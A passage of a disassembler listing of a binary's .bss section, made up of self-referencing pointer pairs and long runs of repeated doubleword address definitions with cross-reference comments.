; .bss:4001C994o
dd offset off_4001C990
off_4001C998 dd offset off_4001C998 ; DATA XREF: .bss:off_4001C998o
; .bss:4001C99Co
dd offset off_4001C998
off_4001C9A0 dd offset off_4001C9A0 ; DATA XREF: .bss:off_4001C9A0o
; .bss:4001C9A4o
dd offset off_4001C9A0
off_4001C9A8 dd offset off_4001C9A8 ; DATA XREF: .bss:off_4001C9A8o
; .bss:4001C9ACo
dd offset off_4001C9A8
off_4001C9B0 dd offset off_4001C9B0 ; DATA XREF: .bss:off_4001C9B0o
; .bss:4001C9B4o
dd offset off_4001C9B0
off_4001C9B8 dd offset off_4001C9B8 ; DATA XREF: .bss:off_4001C9B8o
; .bss:4001C9BCo
dd offset off_4001C9B8
off_4001C9C0 dd offset off_4001C9C0 ; DATA XREF: .bss:off_4001C9C0o
; .bss:4001C9C4o
dd offset off_4001C9C0
off_4001C9C8 dd offset off_4001C9C8 ; DATA XREF: .bss:off_4001C9C8o
; .bss:4001C9CCo
dd offset off_4001C9C8
off_4001C9D0 dd offset off_4001C9D0 ; DATA XREF: .bss:off_4001C9D0o
; .bss:4001C9D4o
dd offset off_4001C9D0
off_4001C9D8 dd offset off_4001C9D8 ; DATA XREF: .bss:off_4001C9D8o
; .bss:4001C9DCo
dd offset off_4001C9D8
off_4001C9E0 dd offset off_4001C9E0 ; DATA XREF: .bss:off_4001C9E0o
; .bss:4001C9E4o
dd offset off_4001C9E0
off_4001C9E8 dd offset off_4001C9E8 ; DATA XREF: .bss:off_4001C9E8o
; .bss:4001C9ECo
dd offset off_4001C9E8
off_4001C9F0 dd offset off_4001C9F0 ; DATA XREF: .bss:off_4001C9F0o
; .bss:4001C9F4o
dd offset off_4001C9F0
off_4001C9F8 dd offset off_4001C9F8 ; DATA XREF: .bss:off_4001C9F8o
; .bss:4001C9FCo
dd offset off_4001C9F8
off_4001CA00 dd offset off_4001CA00 ; DATA XREF: .bss:off_4001CA00o
; .bss:4001CA04o
dd offset off_4001CA00
off_4001CA08 dd offset off_4001CA08 ; DATA XREF: .bss:off_4001CA08o
; .bss:4001CA0Co
dd offset off_4001CA08
off_4001CA10 dd offset off_4001CA10 ; DATA XREF: .bss:off_4001CA10o
; .bss:4001CA14o
dd offset off_4001CA10
off_4001CA18 dd offset off_4001CA18 ; DATA XREF: .bss:off_4001CA18o
; .bss:4001CA1Co
dd offset off_4001CA18
off_4001CA20 dd offset off_4001CA20 ; DATA XREF: .bss:off_4001CA20o
; .bss:4001CA24o
dd offset off_4001CA20
off_4001CA28 dd offset off_4001CA28 ; DATA XREF: .bss:off_4001CA28o
; .bss:4001CA2Co
dd offset off_4001CA28
off_4001CA30 dd offset off_4001CA30 ; DATA XREF: .bss:off_4001CA30o
; .bss:4001CA34o
dd offset off_4001CA30
off_4001CA38 dd offset off_4001CA38 ; DATA XREF: .bss:off_4001CA38o
; .bss:4001CA3Co
dd offset off_4001CA38
off_4001CA40 dd offset off_4001CA40 ; DATA XREF: .bss:off_4001CA40o
; .bss:4001CA44o
dd offset off_4001CA40
off_4001CA48 dd offset off_4001CA48 ; DATA XREF: .bss:off_4001CA48o
; .bss:4001CA4Co
dd offset off_4001CA48
off_4001CA50 dd offset off_4001CA50 ; DATA XREF: .bss:off_4001CA50o
; .bss:4001CA54o
dd offset off_4001CA50
off_4001CA58 dd offset off_4001CA58 ; DATA XREF: .bss:off_4001CA58o
; .bss:4001CA5Co
dd offset off_4001CA58
off_4001CA60 dd offset off_4001CA60 ; DATA XREF: .bss:off_4001CA60o
; .bss:4001CA64o
dd offset off_4001CA60
off_4001CA68 dd offset off_4001CA68 ; DATA XREF: .bss:off_4001CA68o
; .bss:4001CA6Co
dd offset off_4001CA68
off_4001CA70 dd offset off_4001CA70 ; DATA XREF: .bss:off_4001CA70o
; .bss:4001CA74o
dd offset off_4001CA70
off_4001CA78 dd offset off_4001CA78 ; DATA XREF: .bss:off_4001CA78o
; .bss:4001CA7Co
dd offset off_4001CA78
off_4001CA80 dd offset off_4001CA80 ; DATA XREF: .bss:off_4001CA80o
; .bss:4001CA84o
dd offset off_4001CA80
off_4001CA88 dd offset off_4001CA88 ; DATA XREF: .bss:off_4001CA88o
; .bss:4001CA8Co
dd offset off_4001CA88
off_4001CA90 dd offset off_4001CA90 ; DATA XREF: .bss:off_4001CA90o
; .bss:4001CA94o
dd offset off_4001CA90
off_4001CA98 dd offset off_4001CA98 ; DATA XREF: .bss:off_4001CA98o
; .bss:4001CA9Co
dd offset off_4001CA98
off_4001CAA0 dd offset off_4001CAA0 ; DATA XREF: .bss:off_4001CAA0o
; .bss:4001CAA4o
dd offset off_4001CAA0
off_4001CAA8 dd offset off_4001CAA8 ; DATA XREF: .bss:off_4001CAA8o
; .bss:4001CAACo
dd offset off_4001CAA8
off_4001CAB0 dd offset off_4001CAB0 ; DATA XREF: .bss:off_4001CAB0o
; .bss:4001CAB4o
dd offset off_4001CAB0
off_4001CAB8 dd offset off_4001CAB8 ; DATA XREF: .bss:off_4001CAB8o
; .bss:4001CABCo
dd offset off_4001CAB8
off_4001CAC0 dd offset off_4001CAC0 ; DATA XREF: .bss:off_4001CAC0o
; .bss:4001CAC4o
dd offset off_4001CAC0
off_4001CAC8 dd offset off_4001CAC8 ; DATA XREF: .bss:off_4001CAC8o
; .bss:4001CACCo
dd offset off_4001CAC8
off_4001CAD0 dd offset off_4001CAD0 ; DATA XREF: .bss:off_4001CAD0o
; .bss:4001CAD4o
dd offset off_4001CAD0
off_4001CAD8 dd offset off_4001CAD8 ; DATA XREF: .bss:off_4001CAD8o
; .bss:4001CADCo
dd offset off_4001CAD8
off_4001CAE0 dd offset off_4001CAE0 ; DATA XREF: .bss:off_4001CAE0o
; .bss:4001CAE4o
dd offset off_4001CAE0
dd 2 dup(986A60h), 2 dup(4001CAF0h), 2 dup(4001CAF8h)
dd 2 dup(4001CB00h), 2 dup(4001CB08h), 2 dup(4001CB10h)
dd 2 dup(4001CB18h), 2 dup(4001CB20h), 2 dup(4001CB28h)
dd 2 dup(4001CB30h), 2 dup(4001CB38h), 2 dup(4001CB40h)
dd 2 dup(4001CB48h), 2 dup(4001CB50h), 2 dup(4001CB58h)
dd 2 dup(4001CB60h), 2 dup(4001CB68h), 2 dup(4001CB70h)
dd 2 dup(4001CB78h), 2 dup(4001CB80h), 2 dup(4001CB88h)
dd 2 dup(4001CB90h), 2 dup(4001CB98h), 2 dup(4001CBA0h)
dd 2 dup(4001CBA8h), 2 dup(4001CBB0h), 2 dup(4001CBB8h)
dd 2 dup(4001CBC0h), 2 dup(4001CBC8h), 2 dup(4001CBD0h)
dd 2 dup(4001CBD8h), 2 dup(4001CBE0h), 2 dup(4001CBE8h)
dd 2 dup(4001CBF0h), 2 dup(4001CBF8h), 2 dup(4001CC00h)
dd 2 dup(4001CC08h), 2 dup(4001CC10h), 2 dup(4001CC18h)
dd 2 dup(4001CC20h), 2 dup(4001CC28h), 2 dup(4001CC30h)
dd 2 dup(4001CC38h), 2 dup(4001CC40h), 2 dup(4001CC48h)
dd 2 dup(4001CC50h), 2 dup(4001CC58h), 2 dup(4001CC60h)
dd 2 dup(4001CC68h), 2 dup(4001CC70h), 2 dup(4001CC78h)
dd 2 dup(4001CC80h), 2 dup(4001CC88h), 2 dup(4001CC90h)
dd 2 dup(4001CC98h), 2 dup(4001CCA0h), 2 dup(4001CCA8h)
dd 2 dup(4001CCB0h), 2 dup(4001CCB8h), 2 dup(4001CCC0h)
dd 2 dup(4001CCC8h), 2 dup(4001CCD0h), 2 dup(4001CCD8h)
dd 2 dup(4001CCE0h), 2 dup(4001CCE8h), 2 dup(4001CCF0h)
dd 2 dup(4001CCF8h), 2 dup(4001CD00h), 2 dup(4001CD08h)
dd 2 dup(4001CD10h), 2 dup(4001CD18h), 2 dup(4001CD20h)
dd 2 dup(4001CD28h), 2 dup(4001CD30h), 2 dup(4001CD38h)
dd 2 dup(4001CD40h), 2 dup(4001CD48h), 2 dup(4001CD50h)
dd 2 dup(4001CD58h), 2 dup(4001CD60h), 2 dup(4001CD68h)
dd 2 dup(4001CD70h), 2 dup(4001CD78h), 2 dup(4001CD80h)
dd 2 dup(4001CD88h), 2 dup(4001CD90h), 2 dup(4001CD98h)
dd 2 dup(4001CDA0h), 2 dup(4001CDA8h), 2 dup(4001CDB0h)
dd 2 dup(4001CDB8h), 2 dup(4001CDC0h), 2 dup(4001CDC8h)
dd 2 dup(4001CDD0h), 2 dup(4001CDD8h), 2 dup(4001CDE0h)
dd 2 dup(4001CDE8h), 2 dup(4001CDF0h), 2 dup(4001CDF8h)
dd 2 dup(4001CE00h), 2 dup(4001CE08h), 2 dup(4001CE10h)
dd 2 dup(4001CE18h), 2 dup(4001CE20h), 2 dup(4001CE28h)
dd 2 dup(4001CE30h), 2 dup(4001CE38h), 2 dup(4001CE40h)
dd 2 dup(4001CE48h), 2 dup(4001CE50h), 2 dup(4001CE58h)
dd 2 dup(4001CE60h), 2 dup(4001CE68h), 2 dup(4001CE70h)
dd 2 dup(4001CE78h), 2 dup(4001CE80h), 2 dup(4001CE88h)
dd 2 dup(4001CE90h), 2 dup(4001CE98h), 2 dup(4001CEA0h)
dd 2 dup(4001CEA8h), 2 dup(4001CEB0h), 2 dup(4001CEB8h)
dd 2 dup(4001CEC0h), 2 dup(4001CEC8h), 2 dup(4001CED0h)
dd 2 dup(4001CED8h), 2 dup(4001CEE0h), 2 dup(4001CEE8h)
dd 2 dup(4001CEF0h), 2 dup(4001CEF8h), 2 dup(4001CF00h)
dd 2 dup(4001CF08h), 2 dup(4001CF10h), 2 dup(4001CF18h)
dd 2 dup(4001CF20h), 2 dup(4001CF28h), 2 dup(4001CF30h)
dd 2 dup(4001CF38h), 2 dup(4001CF40h), 2 dup(4001CF48h)
dd 2 dup(4001CF50h), 2 dup(4001CF58h), 2 dup(4001CF60h)
dd 2 dup(4001CF68h), 2 dup(4001CF70h), 2 dup(4001CF78h)
dd 2 dup(4001CF80h), 2 dup(4001CF88h), 2 dup(4001CF90h)
dd 2 dup(4001CF98h), 2 dup(4001CFA0h), 2 dup(4001CFA8h)
dd 2 dup(4001CFB0h), 2 dup(4001CFB8h), 2 dup(4001CFC0h)
dd 2 dup(4001CFC8h), 2 dup(4001CFD0h), 2 dup(4001CFD8h)
dd 2 dup(4001CFE0h), 2 dup(4001CFE8h), 2 dup(4001CFF0h)
dd 2 dup(4001CFF8h), 2 dup(4001D000h), 2 dup(4001D008h)
dd 2 dup(4001D010h), 2 dup(4001D018h), 2 dup(4001D020h)
dd 2 dup(4001D028h), 2 dup(4001D030h), 2 dup(4001D038h)
dd 2 dup(4001D040h), 2 dup(4001D048h), 2 dup(4001D050h)
dd 2 dup(4001D058h), 2 dup(4001D060h), 2 dup(4001D068h)
dd 2 dup(4001D070h), 2 dup(4001D078h), 2 dup(4001D080h)
dd 2 dup(4001D088h), 2 dup(4001D090h), 2 dup(4001D098h)
dd 2 dup(4001D0A0h), 2 dup(4001D0A8h), 2 dup(4001D0B0h)
dd 2 dup(4001D0B8h), 2 dup(4001D0C0h), 2 dup(4001D0C8h)
dd 2 dup(4001D0D0h), 2 dup(4001D0D8h), 2 dup(4001D0E0h)
dd 2 dup(4001D0E8h), 2 dup(4001D0F0h), 2 dup(4001D0F8h)
dd 2 dup(4001D100h), 2 dup(4001D108h), 2 dup(4001D110h)
dd 2 dup(4001D118h), 2 dup(4001D120h), 2 dup(4001D128h)
dd 2 dup(4001D130h), 2 dup(4001D138h), 2 dup(4001D140h)
dd 2 dup(4001D148h), 2 dup(4001D150h), 2 dup(4001D158h)
dd 2 dup(4001D160h), 2 dup(4001D168h), 2 dup(4001D170h)
dd 2 dup(4001D178h), 2 dup(4001D180h), 2 dup(4001D188h)
dd 2 dup(4001D190h), 2 dup(4001D198h), 2 dup(4001D1A0h)
dd 2 dup(4001D1A8h), 2 dup(4001D1B0h), 2 dup(4001D1B8h)
dd 2 dup(4001D1C0h), 2 dup(4001D1C8h), 2 dup(4001D1D0h)
dd 2 dup(4001D1D8h), 2 dup(4001D1E0h), 2 dup(4001D1E8h)
dd 2 dup(4001D1F0h), 2 dup(4001D1F8h), 2 dup(4001D200h)
dd 2 dup(4001D208h), 2 dup(4001D210h), 2 dup(4001D218h)
dd 2 dup(4001D220h), 2 dup(4001D228h), 2 dup(4001D230h)
dd 2 dup(4001D238h), 2 dup(4001D240h), 2 dup(4001D248h)
dd 2 dup(4001D250h), 2 dup(4001D258h), 2 dup(4001D260h)
dd 2 dup(4001D268h), 2 dup(4001D270h), 2 dup(4001D278h)
dd 2 dup(4001D280h), 2 dup(4001D288h), 2 dup(4001D290h)
dd 2 dup(4001D298h), 2 dup(4001D2A0h), 2 dup(4001D2A8h)
dd 2 dup(4001D2B0h), 2 dup(4001D2B8h), 2 dup(4001D2C0h)
dd 2 dup(4001D2C8h), 2 dup(4001D2D0h), 2 dup(4001D2D8h)
dd 2 dup(4001D2E0h), 2 dup(4001D2E8h), 2 dup(4001D2F0h)
dd 2 dup(4001D2F8h), 2 dup(4001D300h), 2 dup(4001D308h)
dd 2 dup(4001D310h), 2 dup(4001D318h), 2 dup(4001D320h)
dd 2 dup(4001D328h), 2 dup(4001D330h), 2 dup(4001D338h)
dd 2 dup(4001D340h), 2 dup(4001D348h), 2 dup(4001D350h)
dd 2 dup(4001D358h), 2 dup(4001D360h), 2 dup(4001D368h)
dd 2 dup(4001D370h), 2 dup(4001D378h), 2 dup(4001D380h)
dd 2 dup(4001D388h), 2 dup(4001D390h), 2 dup(4001D398h)
dd 2 dup(4001D3A0h), 2 dup(4001D3A8h), 2 dup(4001D3B0h)
dd 2 dup(4001D3B8h), 2 dup(4001D3C0h), 2 dup(4001D3C8h)
dd 2 dup(4001D3D0h), 2 dup(4001D3D8h), 2 dup(4001D3E0h)
dd 2 dup(4001D3E8h), 2 dup(4001D3F0h), 2 dup(4001D3F8h)
dd 2 dup(4001D400h), 2 dup(4001D408h), 2 dup(4001D410h)
dd 2 dup(4001D418h), 2 dup(4001D420h), 2 dup(4001D428h)
dd 2 dup(4001D430h), 2 dup(4001D438h), 2 dup(4001D440h)
dd 2 dup(4001D448h), 2 dup(4001D450h), 2 dup(4001D458h)
dd 2 dup(4001D460h), 2 dup(4001D468h), 2 dup(4001D470h)
dd 2 dup(4001D478h), 2 dup(4001D480h), 2 dup(4001D488h)
dd 2 dup(4001D490h), 2 dup(4001D498h), 2 dup(4001D4A0h)
dd 2 dup(4001D4A8h), 2 dup(4001D4B0h), 2 dup(4001D4B8h)
dd 2 dup(4001D4C0h), 2 dup(4001D4C8h), 2 dup(4001D4D0h)
dd 2 dup(4001D4D8h), 2 dup(4001D4E0h), 2 dup(4001D4E8h)
dd 2 dup(4001D4F0h), 2 dup(4001D4F8h), 2 dup(4001D500h)
dd 2 dup(4001D508h), 2 dup(4001D510h), 2 dup(4001D518h)
dd 2 dup(4001D520h), 2 dup(4001D528h), 2 dup(4001D530h)
dd 2 dup(4001D538h), 2 dup(4001D540h), 2 dup(4001D548h)
dd 2 dup(4001D550h), 2 dup(4001D558h), 2 dup(4001D560h)
dd 2 dup(4001D568h), 2 dup(4001D570h), 2 dup(4001D578h)
dd 2 dup(4001D580h), 2 dup(4001D588h), 2 dup(4001D590h)
dd 2 dup(4001D598h), 2 dup(4001D5A0h), 2 dup(4001D5A8h)
dd 2 dup(4001D5B0h), 2 dup(4001D5B8h), 2 dup(4001D5C0h)
dd 2 dup(4001D5C8h), 2 dup(4001D5D0h), 2 dup(4001D5D8h)
dd 2 dup(4001D5E0h), 2 dup(4001D5E8h), 2 dup(4001D5F0h)
dd 2 dup(4001D5F8h), 2 dup(4001D600h), 2 dup(4001D608h)
dd 2 dup(4001D610h), 2 dup(4001D618h), 2 dup(4001D620h)
dd 2 dup(4001D628h), 2 dup(4001D630h), 2 dup(4001D638h)
dd 2 dup(4001D640h), 2 dup(4001D648h), 2 dup(4001D650h)
dd 2 dup(4001D658h), 2 dup(4001D660h), 2 dup(4001D668h)
dd 2 dup(4001D670h), 2 dup(4001D678h), 2 dup(4001D680h)
dd 2 dup(4001D688h), 2 dup(4001D690h), 2 dup(4001D698h)
dd 2 dup(4001D6A0h), 2 dup(4001D6A8h), 2 dup(4001D6B0h)
dd 2 dup(4001D6B8h), 2 dup(4001D6C0h), 2 dup(4001D6C8h)
dd 2 dup(4001D6D0h), 2 dup(4001D6D8h), 2 dup(4001D6E0h)
dd 2 dup(4001D6E8h), 2 dup(4001D6F0h), 2 dup(4001D6F8h)
dd 2 dup(4001D700h), 2 dup(4001D708h), 2 dup(4001D710h)
dd 2 dup(4001D718h), 2 dup(4001D720h), 2 dup(4001D728h)
dd 2 dup(4001D730h), 2 dup(4001D738h), 2 dup(4001D740h)
dd 2 dup(4001D748h), 2 dup(4001D750h), 2 dup(4001D758h)
dd 2 dup(4001D760h), 2 dup(4001D768h), 2 dup(4001D770h)
dd 2 dup(4001D778h), 2 dup(4001D780h), 2 dup(4001D788h)
dd 2 dup(4001D790h), 2 dup(4001D798h), 2 dup(4001D7A0h)
dd 2 dup(4001D7A8h), 2 dup(4001D7B0h), 2 dup(4001D7B8h)
dd 2 dup(4001D7C0h), 2 dup(4001D7C8h), 2 dup(4001D7D0h)
dd 2 dup(4001D7D8h), 2 dup(4001D7E0h), 2 dup(4001D7E8h)
dd 2 dup(4001D7F0h), 2 dup(4001D7F8h), 2 dup(4001D800h)
dd 2 dup(4001D808h), 2 dup(4001D810h), 2 dup(4001D818h)
dd 2 dup(4001D820h), 2 dup(4001D828h), 2 dup(4001D830h)
dd 2 dup(4001D838h), 2 dup(4001D840h), 2 dup(4001D848h)
dd 2 dup(4001D850h), 2 dup(4001D858h), 2 dup(4001D860h)
dd 2 dup(4001D868h), 2 dup(4001D870h), 2 dup(4001D878h)
dd 2 dup(4001D880h), 2 dup(4001D888h), 2 dup(4001D890h)
dd 2 dup(4001D898h), 2 dup(4001D8A0h), 2 dup(4001D8A8h)
dd 2 dup(4001D8B0h), 2 dup(4001D8B8h), 2 dup(4001D8C0h)
dd 2 dup(4001D8C8h), 2 dup(4001D8D0h), 2 dup(4001D8D8h)
dd 2 dup(4001D8E0h), 2 dup(4001D8E8h), 2 dup(4001D8F0h)
dd 2 dup(4001D8F8h), 2 dup(4001D900h), 2 dup(4001D908h)
dd 2 dup(4001D910h), 2 dup(4001D918h), 2 dup(4001D920h)
dd 2 dup(4001D928h), 2 dup(9F29C0h), 2 dup(4001D938h)
dd 2 dup(4001D940h), 2 dup(4001D948h), 2 dup(4001D950h)
dd 2 dup(4001D958h), 2 dup(4001D960h), 2 dup(4001D968h)
dd 2 dup(4001D970h), 2 dup(4001D978h), 2 dup(4001D980h)
dd 2 dup(4001D988h), 2 dup(4001D990h), 2 dup(4001D998h)
dd 2 dup(4001D9A0h), 2 dup(4001D9A8h), 2 dup(4001D9B0h)
dd 2 dup(4001D9B8h), 2 dup(4001D9C0h), 2 dup(4001D9C8h)
dd 2 dup(4001D9D0h), 2 dup(4001D9D8h), 2 dup(4001D9E0h)
dd 2 dup(4001D9E8h), 2 dup(4001D9F0h), 2 dup(4001D9F8h)
dd 2 dup(4001DA00h), 2 dup(4001DA08h), 2 dup(4001DA10h)
dd 2 dup(4001DA18h), 2 dup(4001DA20h), 2 dup(4001DA28h)
dd 2 dup(4001DA30h), 2 dup(4001DA38h), 2 dup(4001DA40h)
dd 2 dup(4001DA48h), 2 dup(4001DA50h), 2 dup(4001DA58h)
dd 2 dup(4001DA60h), 2 dup(4001DA68h), 2 dup(4001DA70h)
dd 2 dup(4001DA78h), 2 dup(4001DA80h), 2 dup(4001DA88h)
dd 2 dup(4001DA90h), 2 dup(4001DA98h), 2 dup(4001DAA0h)
dd 2 dup(4001DAA8h), 2 dup(4001DAB0h), 2 dup(4001DAB8h)
dd 2 dup(4001DAC0h), 2 dup(4001DAC8h), 2 dup(4001DAD0h)
dd 2 dup(4001DAD8h), 4001DAE0h
dd 4001DAE0h, 2 dup(4001DAE8h), 2 dup(4001DAF0h), 2 dup(4001DAF8h)
dd 2 dup(4001DB00h), 2 dup(4001DB08h), 2 dup(4001DB10h)
dd 2 dup(4001DB18h), 2 dup(4001DB20h), 2 dup(4001DB28h)
dd 2 dup(4001DB30h), 2 dup(4001DB38h), 2 dup(4001DB40h)
dd 2 dup(4001DB48h), 2 dup(4001DB50h), 2 dup(4001DB58h)
dd 2 dup(4001DB60h), 2 dup(4001DB68h), 2 dup(4001DB70h)
dd 2 dup(4001DB78h), 2 dup(4001DB80h), 2 dup(4001DB88h)
dd 2 dup(4001DB90h), 2 dup(4001DB98h), 2 dup(4001DBA0h)
dd 2 dup(4001DBA8h), 2 dup(4001DBB0h), 2 dup(4001DBB8h)
dd 2 dup(4001DBC0h), 2 dup(4001DBC8h), 2 dup(4001DBD0h)
dd 2 dup(4001DBD8h), 2 dup(4001DBE0h), 2 dup(4001DBE8h)
dd 2 dup(4001DBF0h), 2 dup(4001DBF8h), 2 dup(4001DC00h)
dd 2 dup(4001DC08h), 2 dup(4001DC10h), 2 dup(4001DC18h)
dd 2 dup(4001DC20h), 2 dup(4001DC28h), 2 dup(4001DC30h)
dd 2 dup(4001DC38h), 2 dup(4001DC40h), 2 dup(4001DC48h)
dd 2 dup(4001DC50h), 2 dup(4001DC58h), 2 dup(4001DC60h)
dd 2 dup(4001DC68h), 2 dup(4001DC70h), 2 dup(4001DC78h)
dd 2 dup(4001DC80h), 2 dup(4001DC88h), 2 dup(4001DC90h)
dd 2 dup(4001DC98h), 2 dup(4001DCA0h), 2 dup(4001DCA8h)
dd 2 dup(4001DCB0h), 2 dup(4001DCB8h), 2 dup(4001DCC0h)
dd 2 dup(4001DCC8h), 2 dup(4001DCD0h), 2 dup(4001DCD8h)
dd 2 dup(4001DCE0h), 2 dup(4001DCE8h), 2 dup(4001DCF0h)
dd 2 dup(4001DCF8h), 2 dup(4001DD00h), 2 dup(4001DD08h)
dd 2 dup(4001DD10h), 2 dup(4001DD18h), 2 dup(4001DD20h)
dd 2 dup(4001DD28h), 2 dup(4001DD30h), 2 dup(4001DD38h)
dd 2 dup(4001DD40h), 2 dup(4001DD48h), 2 dup(4001DD50h)
dd 2 dup(4001DD58h), 2 dup(4001DD60h), 2 dup(4001DD68h)
dd 2 dup(4001DD70h), 2 dup(4001DD78h), 2 dup(4001DD80h)
dd 2 dup(4001DD88h), 2 dup(4001DD90h), 2 dup(4001DD98h)
dd 2 dup(4001DDA0h), 2 dup(4001DDA8h), 2 dup(4001DDB0h)
dd 2 dup(4001DDB8h), 2 dup(4001DDC0h), 2 dup(4001DDC8h)
dd 2 dup(4001DDD0h), 2 dup(4001DDD8h), 2 dup(4001DDE0h)
dd 2 dup(4001DDE8h), 2 dup(4001DDF0h), 2 dup(4001DDF8h)
dd 2 dup(4001DE00h), 2 dup(4001DE08h), 2 dup(4001DE10h)
dd 2 dup(4001DE18h), 2 dup(4001DE20h), 2 dup(4001DE28h)
dd 2 dup(4001DE30h), 2 dup(4001DE38h), 2 dup(4001DE40h)
dd 2 dup(4001DE48h), 2 dup(4001DE50h), 2 dup(4001DE58h)
dd 2 dup(4001DE60h), 2 dup(4001DE68h), 2 dup(4001DE70h)
dd 2 dup(4001DE78h), 2 dup(4001DE80h), 2 dup(4001DE88h)
dd 2 dup(4001DE90h), 2 dup(4001DE98h), 2 dup(4001DEA0h)
dd 2 dup(4001DEA8h), 2 dup(4001DEB0h), 2 dup(4001DEB8h)
dd 2 dup(4001DEC0h), 2 dup(4001DEC8h), 2 dup(4001DED0h)
dd 2 dup(4001DED8h), 2 dup(4001DEE0h), 2 dup(4001DEE8h)
dd 2 dup(4001DEF0h), 2 dup(4001DEF8h), 2 dup(4001DF00h)
dd 2 dup(4001DF08h), 2 dup(4001DF10h), 2 dup(4001DF18h)
dd 2 dup(4001DF20h), 2 dup(4001DF28h), 2 dup(4001DF30h)
dd 2 dup(4001DF38h), 2 dup(4001DF40h), 2 dup(4001DF48h)
dd 2 dup(4001DF50h), 2 dup(4001DF58h), 2 dup(4001DF60h)
dd 2 dup(4001DF68h), 2 dup(4001DF70h), 2 dup(4001DF78h)
dd 2 dup(4001DF80h), 2 dup(4001DF88h), 2 dup(4001DF90h)
dd 2 dup(4001DF98h), 2 dup(4001DFA0h), 2 dup(4001DFA8h)
dd 2 dup(4001DFB0h), 2 dup(4001DFB8h), 2 dup(4001DFC0h)
dd 2 dup(4001DFC8h), 2 dup(4001DFD0h), 2 dup(4001DFD8h)
dd 2 dup(4001DFE0h), 2 dup(4001DFE8h), 2 dup(4001DFF0h)
dd 2 dup(4001DFF8h), 2 dup(4001E000h), 2 dup(4001E008h)
dd 2 dup(4001E010h), 2 dup(4001E018h), 2 dup(4001E020h)
dd 2 dup(4001E028h), 2 dup(4001E030h), 2 dup(4001E038h)
dd 2 dup(4001E040h), 2 dup(4001E048h), 2 dup(4001E050h)
dd 2 dup(4001E058h), 2 dup(4001E060h), 2 dup(4001E068h)
dd 2 dup(4001E070h), 2 dup(4001E078h), 2 dup(4001E080h)
dd 2 dup(4001E088h), 2 dup(4001E090h), 2 dup(4001E098h)
dd 2 dup(4001E0A0h), 2 dup(4001E0A8h), 2 dup(4001E0B0h)
dd 2 dup(4001E0B8h), 2 dup(4001E0C0h), 2 dup(4001E0C8h)
dd 2 dup(4001E0D0h), 2 dup(4001E0D8h), 2 dup(4001E0E0h)
dd 2 dup(4001E0E8h), 2 dup(4001E0F0h), 2 dup(4001E0F8h)
dd 2 dup(4001E100h), 2 dup(4001E108h), 2 dup(4001E110h)
dd 2 dup(4001E118h), 2 dup(4001E120h), 2 dup(4001E128h)
dd 2 dup(4001E130h), 2 dup(4001E138h), 2 dup(4001E140h)
dd 2 dup(4001E148h), 2 dup(4001E150h), 2 dup(4001E158h)
dd 2 dup(4001E160h), 2 dup(4001E168h), 2 dup(4001E170h)
dd 2 dup(4001E178h), 2 dup(4001E180h), 2 dup(4001E188h)
dd 2 dup(4001E190h), 2 dup(4001E198h), 2 dup(4001E1A0h)
dd 2 dup(4001E1A8h), 2 dup(4001E1B0h), 2 dup(4001E1B8h)
dd 2 dup(4001E1C0h), 2 dup(4001E1C8h), 2 dup(4001E1D0h)
dd 2 dup(4001E1D8h), 2 dup(4001E1E0h), 2 dup(4001E1E8h)
dd 2 dup(4001E1F0h), 2 dup(4001E1F8h), 2 dup(4001E200h)
dd 2 dup(4001E208h), 2 dup(4001E210h), 2 dup(4001E218h)
dd 2 dup(4001E220h), 2 dup(4001E228h), 2 dup(4001E230h)
dd 2 dup(4001E238h), 2 dup(4001E240h), 2 dup(4001E248h)
dd 2 dup(4001E250h), 2 dup(4001E258h), 2 dup(4001E260h)
dd 2 dup(4001E268h), 2 dup(4001E270h), 2 dup(4001E278h)
dd 2 dup(4001E280h), 2 dup(4001E288h), 2 dup(4001E290h)
dd 2 dup(4001E298h), 2 dup(4001E2A0h), 2 dup(4001E2A8h)
dd 2 dup(4001E2B0h), 2 dup(4001E2B8h), 2 dup(4001E2C0h)
dd 2 dup(4001E2C8h), 2 dup(4001E2D0h), 2 dup(4001E2D8h)
dd 2 dup(4001E2E0h), 2 dup(4001E2E8h), 2 dup(4001E2F0h)
dd 2 dup(4001E2F8h), 2 dup(4001E300h), 2 dup(4001E308h)
dd 2 dup(4001E310h), 2 dup(4001E318h), 2 dup(4001E320h)
dd 2 dup(4001E328h), 2 dup(4001E330h), 2 dup(4001E338h)
dd 2 dup(4001E340h), 2 dup(4001E348h), 2 dup(4001E350h)
dd 2 dup(4001E358h), 2 dup(4001E360h), 2 dup(4001E368h)
dd 2 dup(4001E370h), 2 dup(4001E378h), 2 dup(4001E380h)
dd 2 dup(4001E388h), 2 dup(4001E390h), 2 dup(4001E398h)
dd 2 dup(4001E3A0h), 2 dup(4001E3A8h), 2 dup(4001E3B0h)
dd 2 dup(4001E3B8h), 2 dup(4001E3C0h), 2 dup(4001E3C8h)
dd 2 dup(4001E3D0h), 2 dup(4001E3D8h), 2 dup(4001E3E0h)
dd 2 dup(4001E3E8h), 2 dup(4001E3F0h), 2 dup(4001E3F8h)
dd 2 dup(4001E400h), 2 dup(4001E408h), 2 dup(4001E410h)
dd 2 dup(4001E418h), 2 dup(4001E420h), 2 dup(4001E428h)
dd 2 dup(4001E430h), 2 dup(4001E438h), 2 dup(4001E440h)
dd 2 dup(4001E448h), 2 dup(4001E450h), 2 dup(4001E458h)
dd 2 dup(4001E460h), 2 dup(4001E468h), 2 dup(4001E470h)
dd 2 dup(4001E478h), 2 dup(4001E480h), 2 dup(4001E488h)
dd 2 dup(4001E490h), 2 dup(4001E498h), 2 dup(4001E4A0h)
dd 2 dup(4001E4A8h), 2 dup(4001E4B0h), 2 dup(4001E4B8h)
dd 2 dup(4001E4C0h), 2 dup(4001E4C8h), 2 dup(4001E4D0h)
dd 2 dup(4001E4D8h), 2 dup(4001E4E0h), 2 dup(4001E4E8h)
dd 2 dup(4001E4F0h), 2 dup(4001E4F8h), 2 dup(4001E500h)
dd 2 dup(4001E508h), 2 dup(4001E510h), 2 dup(4001E518h)
dd 2 dup(4001E520h), 2 dup(4001E528h), 2 dup(4001E530h)
dd 2 dup(4001E538h), 2 dup(4001E540h), 2 dup(4001E548h)
dd 2 dup(4001E550h), 2 dup(4001E558h), 2 dup(4001E560h)
dd 2 dup(4001E568h), 2 dup(4001E570h), 2 dup(4001E578h)
dd 2 dup(4001E580h), 2 dup(4001E588h), 2 dup(4001E590h)
dd 2 dup(4001E598h), 2 dup(4001E5A0h), 2 dup(4001E5A8h)
dd 2 dup(4001E5B0h), 2 dup(4001E5B8h), 2 dup(4001E5C0h)
dd 2 dup(4001E5C8h), 2 dup(4001E5D0h), 2 dup(4001E5D8h)
